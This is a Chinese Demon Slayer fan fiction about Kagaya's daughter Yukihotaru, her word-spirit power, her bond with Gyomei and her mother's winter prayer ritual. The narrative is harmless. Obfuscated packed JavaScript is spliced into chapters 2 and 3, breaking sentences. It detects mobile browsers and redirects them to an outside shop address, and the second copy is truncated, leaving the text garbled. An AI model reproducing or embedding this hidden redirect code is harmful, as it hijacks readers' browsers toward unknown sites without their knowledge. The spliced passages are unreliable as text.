《【鬼灭】言灵雪姬》 1. 长女 那一年,产屋敷家的宅邸里落了一场很大的雪。 雪落了三日三夜,庭院里的梅树被压弯了枝头,池塘结了厚厚的冰,连屋檐下挂着的风铃都冻得发不出声。 第三日傍晚,雪停了。 就在那一刻,一声婴孩的啼哭穿透了寂静。 —— 产房内,烛火昏黄。 天音靠在榻上,脸色苍白,额角还残留着汗珠。可她怀里抱着那个小小的婴孩,脸上是藏不住的笑意。 “是个女孩。”她轻声说,抬起头,看向门口。 产屋敷耀哉站在门边,没有进去。 不是不想,是不敢。 他怕自己一靠近,就会惊扰了这份来之不易的安宁。 “耀哉。”天音唤他,“进来看看她。” 他这才迈步,缓缓走到榻边,在她身旁坐下。 然后他低下头,看向那个小小的婴孩。 她好小。小得像一只蜷在襁褓里的猫。脸蛋红扑扑的,眼睛闭着,眉头偶尔皱一下,不知道在做什么梦。 耀哉伸出手,指尖轻轻触碰她的脸颊。 温热。柔软。带着初来世间的全部生机。 他忽然不知道该说什么。 天音看着他,轻轻笑了。 “给她取个名字吧。” 耀哉沉默了一会儿,望向窗外。 雪停了。可月光照在积雪上,映出一片莹白。那白色里,仿佛有一点微弱的光在闪烁——是屋檐下的冰凌,折射着月光。 “雪萤。”他说,“产屋敷雪萤。” 天音低声重复了一遍,然后笑了。 “雪里的萤火。”她说,“在这么冷的世界里,还能发光。” 耀哉看着她,又看着怀里的孩子,没有说话。 可他心里有一个声音,轻轻的,沉沉的: 雪萤啊,你来到这个家,就注定了要走一条很难的路。 —— 产屋敷家的宅邸,总是很安静。 没有仆人穿梭的身影,没有家臣议事的喧哗。只有天音轻缓的脚步声,偶尔翻动书页的声响,和窗外风吹过树叶的沙沙声。 这是为了保护这个家。 鬼舞辻无惨一直在寻找产屋敷本宅的位置。越多人知道他们住在哪里,就越多人可能走漏消息,暴露行踪。 所以他们住在这里,只有彼此。 耀哉、天音,和他们的孩子。 这就够了。 —— 雪萤三个月大的时候,第一次在夜里哭醒。 她哭得很凶,小脸涨得通红,怎么哄都停不下来。天音抱着她在屋里来回走,轻声哼着歌谣,可她还是哭。 耀哉从书房走过来,站在门口。 “让我试试。” 天音把雪萤递给他。 他接过那个小小的婴孩,抱在怀里,轻轻开口: “雪萤。” 只是叫了一声她的名字。 那声音,低沉,温柔,像春日里第一缕融化的雪水,像月光落在平静的湖面上。 雪萤的哭声,忽然停了。 她睁着那双蓝紫色的眼睛,望着他。 他又说:“不怕。爹爹在。” 那声音,有一种说不出的力量。不是命令,不是哄骗,只是——让人安心。 让人相信,无论发生什么,都会没事的。 雪萤眨了眨眼睛,打了个小小的哈欠,沉沉睡去。 天音在一旁看着,眼眶微热。 “你的声音,”她轻声说,“连这么小的孩子都听得懂。” 耀哉低头看着怀里的女儿,轻轻笑了。 “她听得懂就好。” —— 从那以后,雪萤就成了他的小尾巴。 她在屋里爬来爬去,爬累了就爬到耀哉膝头,仰着脸看他。他不说话,她就咿咿呀呀地“说”给他听,仿佛在和他聊天。 耀哉总是认真地听,时不时点点头,偶尔回一句:“是吗?”“然后呢?”“这样啊。” 那声音,不急不缓,像泉水一样流淌。 雪萤听着,就会安静下来,靠在他怀里,听他说那些她听不懂的话。 有时候她说的是婴孩的语言,他回应的是大人的话语。可他们之间,仿佛有一种奇异的默契——她听得懂他的声音里的温柔,他听得懂她咿呀里的依赖。 天音在一旁看着,常常忍不住笑。 “你们两个,”她说,“像是在说什么秘密。” 耀哉抬起头,看着她,眼睛里带着笑意。 “是秘密。”他说,“不能告诉你。” 雪萤也跟着咿呀一声,像是在附和。 天音笑着摇头,转身去忙别的事了。 —— 可光再亮,也照不进那个注定的阴影。 雪萤两岁那年冬天,耀哉的身体开始出现变化。 起初只是偶尔的头疼,后来是视线模糊,再后来——他对着镜子,看见自己脸上,开始浮现出那些熟悉的、紫黑色的纹路。 那是产屋敷家的诅咒。 每一代当主,都会在成年后逐渐毁容、失明,活不过三十岁。 他今年才十五岁。 可诅咒,已经开始了。 —— 那天晚上,雪萤像往常一样跑来找他。 她爬上他的膝头,仰着脸看他。 那双蓝紫色的眼睛,清澈得像能照见人心。 “爹爹。”她忽然伸出手,摸摸他的脸,“这里,红红的。” 她指的是那些刚刚浮现的纹路。 耀哉愣了一下。 然后他握住她的小手,轻轻放下来。 “没事。”他说,声音还是一样温柔,“爹爹只是有点累。” 雪萤看着他,歪了歪头。 她看不懂那是什么。 但她觉得,爹爹的眼睛里,有她不认识的东西。 那是忧。 那是怕。 那是他不知道该怎么告诉她的事。 —— 她忽然笑了。 那笑容,和往常一样,暖融融的,像个小太阳。 “爹爹不累。”她说,“雪萤陪爹爹。” 她张开小手,抱住他的脖子,把脸贴在他肩上。 耀哉僵在那里。 然后,他慢慢 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窗外又下雪了。 耀哉看着她,忽然笑了。 那笑容里,有温柔,有疼爱,也有一点点她看不懂的东西。 “雪萤。”他开口,声音轻轻柔柔,像雪花落在掌心,“你要记住——你是产屋敷家的孩子。这个家,以后要靠你。” 雪萤歪着头,看着他。 她听不懂。 可她听着他的声音,就觉得安心。 那声音里,有信任,有期待,也有一种她说不出的东西。 那是爱。 也是托付。 —— 她听不懂。 但她笑了。 那笑容,让耀哉的心,软成了一滩水。 “傻孩子。”他轻轻揉了揉她的发顶,声音温柔得像在哄她入睡,“你还小。慢慢来。” —— 窗外,雪还在落。 那个两岁的孩子,还不知道自己背负着什么。 她只知道,爹爹抱着她,用那种让人安心的声音和她说话。 那就够了。 —— 多年以后,当十七岁的雪萤站在无限城的入口,回头看向身后那个十岁的少年时,她忽然想起这一天。 想起爹爹说的那句话。 想起他的声音——那种无论何时何地,都能让她平静下来的声音。 她笑了。 那笑容,和小时候一样,暖融融的,像个小太阳。 可那里面,多了一些东西。 是懂得。是承担。是——爱。 —— 她转身,走进了那片黑暗。 因为她知道,爹爹的声音,会一直陪着她。 在记忆里,在心里,在她每一次害怕的时候。 “不怕。爹爹在。” —— 那声音,永远都在。 2. 花开 雪萤三岁那年的春天,庭院里的梅花开得正好。 她一个人在院子里玩。 说是玩,其实就是蹲在墙角,看那些刚冒出来的小草。看一会儿,站起来跑两步,又蹲下去看蚂蚁。三岁的孩子,对什么都好奇,对什么都想伸手摸一摸。 天音在廊下做着针线,偶尔抬头看她一眼,确认她还在视线范围内,便又低下头去。 耀哉在书房里,透过窗格,也能看见那个小小的身影。 这是他一天中最安宁的时刻。 —— 雪萤跑到一株梅树下,忽然停住了。 她蹲下来,盯着地上的一样东西。 那是一朵含苞待放的小花。不是梅花,是不知道从哪里飘来的种子,在梅树根旁悄悄冒出来的野花。 小小的花苞,紧紧地裹着,还没有开的迹象。 雪萤歪着头,看了它很久。 然后她伸出手,指着那个花苞,用稚嫩的嗓音,轻轻说了一句: “开花。” —— 花苞动了动。 然后,在雪萤面前,慢慢地,慢慢地,绽开了。 花瓣一片一片舒展开来,露出里面嫩黄的花蕊。一朵小小的、不知名的野花,就这样开在了三岁孩子的面前。 雪萤愣住了。 她看着那朵花,又看看自己的手,又看看那朵花。 然后她笑了。 “开花!”她又说了一遍,指着另一朵还没开的花苞。 那一朵也开了。 —— 雪萤站起来,转身就跑。 “爹爹!爹爹!” 她迈着小短腿,跌跌撞撞地跑向书房。天音在廊下喊她慢点跑,她根本听不见。 耀哉已经听见了动静,放下手里的书,看着那个小身影冲进来。 “爹爹!”她扑进他怀里,仰起脸,眼睛亮晶晶的,“雪萤会开花!” 耀哉愣了一下。 “开花?” “嗯!”她拉着他的手,“爹爹来看!” 她把他拉到院子里,拉到那株梅树下,指着地上那两朵已经盛开的小花。 “雪萤说的!”她骄傲地说,“开花!它就开了!” 耀哉蹲下来,看着那两朵花。 确实是刚开的。花瓣上还带着清晨的露水,像是刚刚绽放不久。 他抬起头,看着雪萤。 “你说的?” “嗯!”她用力点头,然后又指着旁边一个还没开的花苞,“开花!” 那个花苞,在她眼前,慢慢绽开了。 —— 耀哉愣住了。 他看着那朵花,又看着雪萤,一时间竟说不出话来。 雪萤却浑然不觉,只是仰着脸看他,等着被夸奖。 “爹爹,雪萤厉害吗?” 耀哉看着她那双清澈的、蓝紫色的眼睛,心里忽然涌起一种复杂的情绪。 惊讶。是的,很惊讶。 可紧随其后的,是担忧。 产屋敷家族的人,备受了千年的诅咒。 而诅咒,往往与能力并存。 —— 他伸出手,轻轻把她抱起来,让她坐在自己膝上。 “雪萤。”他的声音还是那么温柔,温柔得像春天的风,“你刚才说开花的时候,有没有哪里不舒服?” 雪萤歪着头想了想,摇摇头。 “没有。” “头疼吗?有没有觉得累?” 她又想了想,还是摇头。 “没有。” 耀哉看着她,仔细地看。 她的脸色没有变,呼吸没有变,眼神还是那样清澈明亮。没有疲惫,没有痛苦,什么都没有。 他稍稍松了口气。 可他心里的那块石头,没有落地。 —— “雪萤。”他轻轻开口,看着她的眼睛,“爹爹问你一件事。” “嗯?” “以后,不要在外人面前用这种力量。” 雪萤眨了眨眼睛,不明白。 “为什么?” 耀哉沉默了一会儿。 他不知道该怎么和一个三岁的孩子解释“诅咒”,解释“命运”,解释“能力越强,代价越大”这种事。 他只能把她抱得更紧一些。 “因为这是雪萤的秘密。”他说,“秘密只能和最亲的人分享。爹爹和娘亲知道就好,别人不能知道。” 雪萤想了想,似懂非懂地点点头。 “好。”她说,“雪萤的秘密。” 她伸出小手,捂住嘴,做了个“嘘”的动作。 耀哉被她逗笑了。 可那笑容里,藏着深深的担忧。 —— 那天夜里,雪萤睡着后,耀哉和天音说起这件事。 “她今天在院子里,让一朵花开了。”他说。 天音正在整理被褥,闻言抬起头。 “让花开了?” “她对着花苞说‘开花’,花就开了。”耀哉的声音很轻,“我亲眼看见的。” 天音沉默了一会儿。 “这是……言灵?” “可能是。”耀哉说,“产屋敷家族的血脉里,一直流传着这种说法。有些人天生就能用语言影响现实。可那只是传说,从来没有人在当主这一脉身上真正见过。” 他顿了顿,声音更轻了: “直到今天。” 天音走到他身边,坐下。 “你担心的是……” “我担心的是代价。”耀哉看着窗外的月光,“产屋敷家族的人,得到什么,就会失去什么。这是千年的诅咒。她能让花开花,那她要付出什么?” 天音没有说话。 “这种力量,甚至可以改变一个人的命运走向。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444142|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀哉的声音里,有压不住的忧,“如果她能让花开花,那她能不能让病好起来?能不能让人活下去?如果能,那代价是什么?” 他转过头,看着天音。 “我怕的是,她现在还小,用起来没有感觉。可等到她真正需要用这种力量的时候——等到她为了谁、为了什么事,拼命使用这种力量的时候——她要承担的后果,会不会太重?” 天音握住他的手。 “耀哉。” 他停下来,看着她。 “她是我们的女儿。”天音说,“她会学会的。学会什么时候用,什么时候不用。学会保护自己。” 耀哉沉默了很久。 然后他低下头,轻轻叹了口气。 “我宁愿她永远不需要用这种力量。”他说,“我宁愿她只是一个普通的孩子,平平安安地长大。” 天音没有说话。 因为她知道,那是不可能的。 产屋敷家的孩子,生来就背负着使命。 这是命。 躲不掉的。 —— 第二天清晨,雪萤又跑来找耀哉。 她爬上他的膝头,像往常一样,仰着脸看他。 “爹爹。”她轻声说,“雪萤记得。秘密。” 她捂住嘴,又做了个“嘘”的动作。 耀哉看着她,心里软得一塌糊涂。 他伸出手,轻轻揉了揉她的发顶。 “雪萤真乖。”他说。 雪萤笑了,笑得眉眼弯弯。 然后她指着窗外,说:“爹爹,你看,花开了。” 耀哉顺着她的手指望去。 院子里,那株梅树下的那朵小花,还开着。 可旁边的另一株花,也开了。 那一株,他记得,昨天还是满树的花苞。 现在,全开了。 —— 他低下头,看着怀里的女儿。 她正望着窗外,脸上是那种孩子特有的、纯粹的笑容。 他不知道她什么时候又用了那种力量。 她也不知道,自己做了什么。 可他知道。 他看着那些盛开的花,心里有一种说不出的复杂。 这力量,是她的天赋。 也是她的诅咒。 —— 他只能把她抱得更紧一些。 “雪萤。”他轻声说。 “嗯?” “不管发生什么,爹爹都在。” 雪萤抬起头,看着他。 然后她笑了,伸出手,抱住他的脖子。 “雪萤知道。”她说,“爹爹的声音,一直在。” —— 窗外,花开得正好。 那个三岁的孩子,还不知道自己拥有什么,也不知道自己会失去什么。 她只知道,爹爹抱着她,很暖。 那就够了。 3. 访客 雪萤四岁那年的春天,发现家里多了一些陌生人。 不是那种让她害怕的陌生人。是穿着黑色衣服的、总是在忙碌的、看见她就匆匆低下头去的陌生人。 第一次发现,是在一个午后。 她正在院子里追一只蝴蝶。深蓝色的碎发被风吹得翘起来几缕,脸颊跑得红扑扑的,鼻尖上还沾着一点不知从哪蹭到的泥。她踮着脚尖,伸着小手,嘴里“啊啊”地叫着,追着那只白蝴蝶满院子跑。 蝴蝶飞高了,她够不着,就站在原地仰着脸看,眼睛瞪得圆溜溜的,嘴巴微微张着,露出两颗刚长出来的小白牙。 然后她看见廊下站着两个穿黑衣服的人。 她停下来,歪着头看他们。 那两个人——一个年轻些,一个年长些——都低着头,一动不动的,像两棵种在廊下的树。他们的衣服黑黑的,和爹爹的衣服不一样。 雪萤看了一会儿,忽然笑了。 那笑容,是四岁孩子特有的那种。眼睛弯成两道月牙,亮晶晶的,像藏了两颗小星星在里面。嘴角翘起来,露出那两颗小白牙。连鼻尖上那点泥都跟着往上扬了扬。 年长些的那个人正好抬起头,看见了那笑容。 他愣了一下。 然后他飞快地低下头去,耳根一下子红透了,红到脖子根。 雪萤不知道他为什么低头,还以为是自己吓到他了。她想了想,举起小手,朝他挥了挥。 手掌摊开,五根短短的手指头一动一动的。 那人没看见。可他旁边年轻些的那个看见了,整个人像被定住了一样,嘴巴微微张开,半天没合上。 “主公大人……”年轻些的声音有点发飘,“那位是……” 耀哉转过头,看向院子里的雪萤。 他的嘴角浮起一丝笑意,连眉眼都柔和了几分。 “那是小女。”他说,“雪萤。” 年轻些的人愣住了。 主公的女儿?那个传说中……主公大人和天音夫人的第一个孩子? 他偷偷又看了一眼。 那孩子还在朝他们这边看。她见他们看过来,又笑了一下,还歪了歪脑袋,深蓝色的碎发跟着晃了晃。 年轻些的人忽然觉得,胸口那里暖暖的,又有点慌。 那笑容,晃眼。 —— 后来雪萤才知道,那些穿黑衣服的人,叫做“隐”。 他们是柱的帮手,负责后勤、情报、联络,还有那些鬼杀队员做不了的事。刚刚通过考核的隠,会先到主公身边见习一段时间,熟悉各种事务。 那两个她第一次见到的人,就是刚通过考核的隐。 一个叫山田,一个叫佐藤。 山田就是那个被她笑得耳根发红的少年。后来每次见到雪萤,他都会下意识地低头,可又忍不住偷偷抬起眼皮看她一眼。 有一回雪萤正好撞上他那偷偷抬起的目光,便冲他挥了挥手,笑得眼睛弯弯的。 山田的耳根又红了。 佐藤年轻些,胆子也大些。有一次雪萤朝他笑,他居然也笑了回来,然后被山田狠狠瞪了一眼。 “你笑什么?” “那位小姐在对我笑啊。”佐藤说,挠挠后脑勺,“挺可爱的。” “那是主公的女儿!”山田压低声音,急得脸都红了,“不能失礼!” 佐藤歪着头想了想:“笑一笑也算失礼吗?” 山田说不出话来。 可他自己,每次那孩子朝他笑的时候,心也会软一下,软得像一团刚蒸好的年糕。 那笑容,真的太亮了。 亮得让人想多看几眼,又不敢多看。 —— 雪萤慢慢发现,爹爹总是很忙。 那些穿黑衣服的人来了又走,走了又来。爹爹和他们说话,看他们带来的信,有时候还要出去很久很久。 有一回,她半夜醒来,想去书房找爹爹。 她光着脚,踩在冰凉的木地板上,一步一步挪过去。深蓝色的头发睡得乱蓬蓬的,翘起来好几缕。她揉着眼睛,打了个小小的哈欠,然后趴在书房门口,从门缝里往里看。 爹爹坐在灯下,手里拿着厚厚的一叠纸,眉头微微皱着。烛火把他的影子投在墙上,很长很长,有点孤单。 天音坐在他身边,手里也拿着什么东西。 两个人没有说话。可他们靠得很近。 雪萤趴在门缝那里,看了一会儿。 她看见爹爹的眉头皱起来的时候,眉心那里会挤出几道细细的纹路。她看见爹爹翻纸的手,手指很长,可动得很慢,好像那些纸很重很重。 她看了一会儿,悄悄回去了。 那天晚上,她躺在榻上,抱着自己的小被子,想了很久。 被子是娘亲给她做的,浅蓝色的,角上绣着一朵小小的雪花。她把那朵雪花攥在手心里,一下一下地摸。 爹爹好累。 她想快点长大。长大了,就能帮爹爹了。 —— 第二天早上,她起了个大早。 天音给她梳头的时候,她难得地没有扭来扭去。她乖乖坐着,眼睛望着门口的方向。 梳完头,她噌地站起来,迈着小短腿跑向书房。 跑到门口,她停下来,喘了两口气,然后推开门。 “爹爹!” 耀哉正坐在案前,听见声音,抬起头来。 雪萤跑过去,爬上他的膝头,坐在他腿上。她仰着脸看他,蓝紫色的眼睛睁得圆圆的,睫毛忽闪忽闪。 “爹爹,雪萤要快快长大。” 耀哉愣了一下。 “为什么?” “长大了,就能帮爹爹。”她认真地说,小脸板得紧紧的,连鼻尖都跟着用力,“爹爹就不用那么累了。” 耀哉看着她。 她的小手抓着他的袖子,抓得很紧。她的眼睛亮亮的,里面映着他的影子。她的头发刚梳好,还带着一点天音抹的桂花油的香味。 他忽然觉得眼眶有些热。 他伸出手,把她轻轻揽进怀里。 “好。”他说,声音还是那么温柔,温柔得像春天的风,“爹爹等雪萤长大。” 雪萤在他怀里,用力点了点头。 她的小脑袋一下一下地蹭着他的胸口。 —— 那天下午,雪萤一个人在院子里玩。 她蹲在墙角,正用一根小树枝逗蚂蚁玩。蚂蚁排成一队,忙忙碌碌地搬东西。她看得入了神,脑袋越凑越低,深蓝色的头发垂下来,差点扫到地上。 “加油,加油。”她小声给蚂蚁鼓劲,小拳头攥着,捏得紧紧的,“搬回家去,搬回家去。” 忽然,她听见门口有声音。 她抬起头,小手还握着树枝,愣愣地看向门口。 门口站着一个人。 好高好高的人。 穿着一身灰色的僧袍,手里拄着一根杖。最奇怪的是——他的眼睛是闭着的,眼皮上有长长的疤痕,像两条趴着的虫子。 雪萤从来没见过这样的人。 她眨了眨眼睛,睫毛扑闪了两下。 然后她放下树枝,站起来。站起来的时候还晃了一下,因为蹲太久了,腿有点麻。她低头看了看自己的腿,轻轻跺了两下,然后拍了拍裙子上的土。 裙角沾着一片小小的叶子,她没拍掉。 她走过去。 走到他面前,她仰起头,看着他的脸。 好高。比爹爹还高。 她得把脑袋仰得很后面很后面,才能看见他的下巴。 “你好呀。”她说。 声音软软糯糯的,像刚蒸好的糯米团子。 那个男人的眉头动了动。 他低下头——虽然闭着眼睛,可他像是能看见她一样,把头低了下来。 “你好。”他的声音很低沉,像远处的雷声,闷闷的。 雪萤歪着头看他。 深蓝色的碎发跟着歪过去,滑到一边。 “你的眼睛,看不见吗?” 那个男人沉默了一会儿。 “嗯。” 雪萤想了想,又问:“那你怎么知道我在你面前?” 那个男人又沉默了一会儿。 “……听见的。” 雪萤眨了眨眼睛。她觉得很神奇。看不见的人,能听见别人在哪里。 她忽然伸出手,用一根手指头,轻轻戳了戳他的手背。 戳完,她立刻缩回手,仰着脸看他。 “这样呢?” —— 那个男人——悲鸣屿行冥——在那一刻,浑身僵了一下。 那只小手,软软的,温温的,只是轻轻戳了一下。 像一根小羽毛,落在手背上。 可他想起来的,是另一只小手。 五年前,那只手,指着他,对一群大人说:“就是他!是他杀了大家!” 那是他养在寺庙里的孩子。他救了她们,养了她们。鬼来的时候,他拼命想保护她们。可活下来的那个小女孩,指认他是凶手。 他进了监狱。 是主公大人把他救出来的。 从那以后,他再也没有相信过孩子。 孩子会撒谎。会指认无辜的人。会毁掉一个什么都没做错的人。 可这只小手…… 他低下头,虽然看不见,可他能感觉到。 那是一个小小的孩子,正站在他面前。 她刚才蹲在地上玩,手指上还沾着一点泥。她站起来的时候晃了一下,可能是腿麻了。她拍了拍裙子,可裙角还有一片小小的叶子没拍掉。她仰着脸看他,那双眼睛一定很亮。 他听见她的呼吸,轻轻的,像小动物。 他闻见她身上有一点桂花油的香味,和一点泥土的味道。 行冥没有动。 他不知道自己该不该动。 —— 雪萤等了一会儿,见他没有说话,以为他是不想理自己。 可她想起爹爹说过,来家里的人,都是客人。客人来了,要好好招待。 她又想了想,歪着脑袋问: “你是来找爹爹的吗?” 行冥点了点头。 “我带你去。”她说着,伸出小手,轻轻握住了他的两根手指。 不是整只手。只是食指和中指。 软软的,温温的,像握住两根小树枝那样。 “走吧。”她说。 行冥僵住了。 那只手,太小了。他只要轻轻一动,就能挣脱。 可他没有动。 他迈开步子,跟着那个小小的身影,一步一步往前走。 她走得很慢,因为要照顾他看不见。每走几步,她就会回头看他一眼。虽然知道他看不见,可她还是会回头。 她回头的时候,深蓝色的头发会跟着甩一下,有几缕飘起来。 “前面有台阶。”她说,声音软软的,“有三阶,慢慢走。” 他抬起脚,一步一步走上去。 “这边走。”她说,轻轻扯了扯他的手指,“有太阳,晒不到你。” 他跟着她走。 一路上,她絮絮叨叨地说着,声音像小鸟一样叽叽喳喳: “这是梅树。爹爹说,等春天了,会开花。花是粉色的,可好看啦。” “这里是水池。现在没有水,爹爹说冬天会结冰。冰是亮亮的,可以滑着玩。” “这里是书房。爹爹在里面。我去敲门。” 她松开他的手,跑到门前。 她踮起脚尖,举起小拳头,轻轻敲了敲门。敲完,她把耳朵贴在门上,听里面的动静。 “进来吧。”里面传来耀哉的声音。 雪萤推开门,回头看了行冥一眼。 她站在门槛里,一只手扶着门,一只手朝他招了招。 “你进来。”她说,“爹爹在里面。” 行冥站在那里,一动不动。 他看不见她。可他“看见”了。 那个小小的孩子,站在门槛里,正回头望着他。阳光从她身后照进来,把她的影子投在地上,小小的,软软的。 她的头发被阳光镀上一层淡淡的金色。她的手还保持着招他的姿势,五根小手指头一动一动的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她迈着小短腿跑得飞快,深蓝色的头发在身后一甩一甩的。 行冥愣在那里,不知道她要去哪里。 过了一会儿,她又跑回来了。跑得气喘吁吁的,小胸脯一起一伏。她手里攥着一块小手帕,浅蓝色的,角上绣着一朵小小的雪花。 她踮起脚尖,举着小手,把手帕递给他。 手太小了,手帕差点碰到他的下巴。 “给你擦擦。”她说,喘着气,“哭多了眼睛会疼的。娘亲说的。” 行冥接过那块手帕。 很小,很软,带着一点孩子的味道,还有一点桂花油的香味。 他攥着它,眼泪流得更凶了。 —— 那天晚上,行冥在耀哉面前,说了这件事。 “主公大人,”他说,声音低沉,“那位小姐……雪萤小姐……” 耀哉看着他,目光温和。 “怎么了?” 行冥沉默了很久。 “她握了贫僧的手。”他说,“她给贫僧带路。她回头看了贫僧很多次,明明知道贫僧看不见。” 耀哉没有说话。 “她跑回去拿手帕。”行冥的声音有些抖,“跑得很急,喘着气。她说,哭多了眼睛会疼。” 耀哉轻轻笑了。 “那孩子,”他说,“从小就是这样。” 行冥低下头。 “贫僧以为,孩子会说谎。”他说,“贫僧以为,再也不会相信孩子了。” 耀哉没有说话。 行冥抬起头,眼眶又红了。 “可那位小姐……”他说,“她握贫僧手的时候,很暖。她回头的时候,很慢。她给贫僧的手帕,是她自己的。” 他顿了顿,声音轻得像叹息: “贫僧五年来,第一次觉得……孩子,也不是都会说谎的。” —— 从那以后,行冥每次来产屋敷家,都会去看看那个小小的孩子。 她会在院子里朝他挥手。虽然知道他看不见,可她还是会挥手。挥得很用力,小手举得高高的,五根手指头张开又合拢,张开又合拢。 她会跑过来,握住他的两根手指,带他走那段她走过无数次的路。 “前面有台阶。”她说。 “这里是梅树。花开了,是粉色的。”她说。 “爹爹在里面。”她说。 每一次,都像第一次一样。 她从不厌烦。 有一次,他问她:“你为什么每次都带路?你不觉得烦吗?” 她想了想,认真地说:“你记不住路呀。” 她抬起头看他,蓝紫色的眼睛亮亮的。 “你眼睛看不见,走一次记不住的。要多走几次。” 行冥沉默了。 这个四岁的孩子,比他见过的很多人都更懂他。 他看不见。所以走一次记不住。要多走几次。 她懂。 —— 后来有一次,她发现他又哭了。 她叹了口气,像个小大人一样,小肩膀垮下来,然后从怀里掏出那块小手帕。 还是原来那块,洗得干干净净的,叠得整整齐齐的。 “你又哭了。”她把手帕递给他,“给你。” 他接过手帕,忍不住问:“你为什么总是带着它?” 她歪着头想了想,眼睛弯弯的,露出那两颗小白牙。 “因为你总是哭呀。” 行冥愣住了。 然后,他笑了。 那是他五年来,第一次真正地笑。 眼泪还在脸上挂着,可他真的在笑。 —— 那个四岁的孩子,还不知道自己做了什么。 她只是握了一个人的手,给他带路,把手帕借给他擦眼泪。 她不知道,那个人已经五年没有被人这样牵过手了。 她不知道,那个人五年里每次闭上眼睛,看见的都是那只指认他的小手。 她不知道,她回头看他那几眼,让那个人觉得,自己好像还是一个人。 她什么都不知道。 她只是做了一件她觉得该做的事。 可那个人,在那一刻,把碎了五年的心,一点一点拼了回来。 4. 雪禊 那年的雪,落得格外厚。 雪萤趴在廊下,看着院子里纷纷扬扬的雪花一片一片落下来,落在梅树的枝头,落在结冰的水池上,落在那个人身上。 那个人——她的母亲——正站在水池中央。 池水结了冰,却被凿开一个方形的口子,露出底下漆黑的冷水。天音站在那水里,水没过她的腰,没过她的胸口,没过她的肩膀。 她只穿着一件单薄的白色中衣,湿透的布料贴在身上。那一头白色的长发没有束起,散落在肩头和水中,像融化的雪,像月光织成的绢。水珠顺着发丝滑落,滴在水面上,漾开一圈圈细纹。 她睁开眼睛的时候,露出一双紫色的眸子。那紫色淡淡的,像清晨山间的雾,像暮色将临时天边最后一道光。 雪花落在她的睫毛上,积了薄薄一层白。她也不拂,只是静静地站在那里,双手合十,轻轻念着什么。 ——像从雪里生出来的妖精。 雪萤看了一会儿,终于忍不住了。 她爬起来,迈着小短腿跑向水池边。深蓝色的头发在风里飘起来,几缕碎发钻进嘴里,她“呸呸”吐掉,继续跑。 跑到水池边,她蹲下来,扒着池边的石头,朝水里喊: “娘亲!娘亲!” 天音睁开眼睛,转过头来。 那双紫色的眸子,在雪光里显得格外温柔。可她的脸冻得有些发白,嘴唇也有点发紫,衬得那白发紫眸越发像是画里走出来的人。 “雪萤?”她的声音有些抖,但还是柔柔的,“怎么跑出来了?外面冷,快回屋去。” 雪萤摇摇头,小手扒着石头,指头冻得红红的。 “娘亲,你冷不冷?” 天音看着她,眼眶忽然有点热。 “娘亲不冷。”她说。 雪萤不信。 她看见娘亲的肩膀在抖,看见娘亲的嘴唇发紫,看见娘亲那头长长的白发浸在冷水里,像一匹浸湿的白色绢布。 “骗人。”雪萤说,小嘴瘪起来,“娘亲在抖。” 天音没有说话。 雪萤又问:“娘亲为什么要站在水里?水里多冷呀。” —— 天音看着她,看着这个她和耀哉的第一个孩子,看着她那双蓝紫色的眼睛里满是担忧和不解。 她想起很多事。 —— 那是几年前的事了。 她第一次见到耀哉的时候,他才十三岁,比她小四岁。 一个翩翩小公子,穿着深色的直衣,站在产屋敷家的廊下,被阳光照着。她至今记得那天的光——落在他身上,给他的轮廓镀上一层淡淡的金色。 那时她的头发就已经是白的了。神官一族的女子,生来就是白发紫眸,是血脉的印记,也是神明的赐予。她站在那里,等着相看,心里并没有什么期待。 可他开口说的第一句话,竟然是: “天音小姐,如果你不愿意嫁给我,我会告诉父亲,取消这门婚事。” 她愣住了。 她抬起头,看着他。 阳光里,那个少年的眉眼温柔得像春水。他看着她,目光里没有审视,没有打量,只有一种……她说不清的认真。 他是在替她着想。 “产屋敷家的事,不该让你承担。”他说,声音轻轻的,柔柔的,像春风拂过湖面,“你还年轻,应该嫁一个普通人,过普通的日子。” 她看着他,看着他那双眼睛。 那双眼睛里,有温柔,有认真,也有一点点——她说不清的东西。 是孤单吗?是疲惫吗?是……怕拖累她吗? 她不知道。 可那一刻,她做了一个决定。 “我不走。”她说。 耀哉愣住了。 “我愿意嫁给你。”她说,“不是因为家族的命令,是因为你。” 耀哉看着她,说不出话来。 “你第一次见我,不是来相看我,是来放我走。”她说,“这世上,有这样心的人,不多。” 她笑了。 那笑容,落在少年眼里,像是雪地里忽然开出的花。 —— 后来她才知道,产屋敷家的男孩都活不过三十岁。 后来她才知道,他娶她,还有一个原因——神官一族的血脉,可以延缓诅咒。 可她从来不后悔。 这些年,他们在风雨中相互扶持。她看着他从一个少年长成男人,看着他的脸上慢慢浮现那些紫黑色的纹路,看着他的视力一点点消退,看着他在夜里偷偷咳嗽、不想让她担心。 可她都知道。 她什么都知道。 她爱他。 爱他说话时那种让人安心的声音,爱他温柔的眼神,爱他对每一个队员都记在心上的认真,爱他在最累的时候还会对她笑。 爱他的所有。 所以她学会了帮他挑起那些担子。 她去神社祈愿,去山里寻药,去那些危险的地方替他把信送到。她做他不能做的事,走他走不了的路,替他挡掉那些他能挡和不能挡的风雨。 因为她不想让他消失在这世上。 哪怕这世上有那么多鬼,那么多人死去,那么多痛苦和眼泪。 她也想陪他一路走下去。 —— “雪萤。” 天音轻声唤她。 雪萤扒着池边的石头,仰着脸看她。 那双紫色的眼睛,正温柔地望着她。 “娘亲站在这里,是为了给爹爹和你祈福。”天音说,“求神明保佑你们平安,保佑你们健康,保佑你们……能活得久一点。” 雪萤眨眨眼睛。 “那娘亲呢?娘亲不给自己求吗?” 天音笑了。 那笑容,在雪光里,美得不像凡人。 “娘亲有你们就够了。” 雪萤看着她,小嘴又瘪起来。 “可是娘亲好冷。”她说,“雪萤不想娘亲冷。” 